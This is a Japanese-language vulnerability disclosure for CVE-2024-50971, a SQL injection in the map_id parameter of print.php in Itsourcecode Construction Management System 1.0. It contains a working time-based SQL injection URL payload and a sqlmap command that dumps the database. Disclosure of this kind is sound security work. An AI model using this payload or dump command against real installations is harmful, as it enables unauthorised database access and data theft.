CVE-2024-50971
説明
Itsourcecode Construction Management System 1.0 の print.php における SQL インジェクションの脆弱性により、リモート攻撃者が map_id パラメータを介して任意の SQL コマンドを実行できる可能性があります。
脆弱性タイプ
SQL インジェクション
製品ベンダー
Itsourcecode
影響を受ける製品コードベース:
https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/ - 1.0
影響を受けるコンポーネント:
Itsourcecode Construction Management System v1.0 は、print.php ページの map_id パラメータを介して SQL インジェクションに対して脆弱です。
攻撃ベクトル:
- アプリケーションをローカルにセットアップし、アカウントを登録して、管理者認証情報 admin:admin でログインします。
- ブラウザで次の URL にアクセスします:
http://localhost/monitoring_system/print.php?map_id=67
- SQL ペイロードを注入:
URL の map_id パラメータを変更して、時間ベースの SQL インジェクションペイロードを含めます。
http://localhost/monitoring_system/print.php?map_id=67'+AND+(SELECT+1386+FROM+(SELECT(SLEEP(15)))LhJj)--+byxm
- アプリケーションの応答を観察:
インジェクションが成功した場合、ページの読み込みに顕著に長い時間(15秒)がかかります。これにより、map_id パラメータが SQL インジェクションに対して脆弱であることが確認されます。
- 次に、SQLMap ツールを使用してさらに悪用し、以下のコマンドを使用してデータベースをダンプします:
sqlmap.py -u http://localhost/monitoring_system/print.php?map_id=67 --risk 3 --level 3 --cookie="PHPSESSID=your_cookie_here" --dbs --technique=T --dump --no-cast
参照:
- https://itsourcecode.com/free-projects/php-project/construction-management-system-project-in-php-with-source-code/
- https://owasp.org/www-community/attacks/SQL_Injection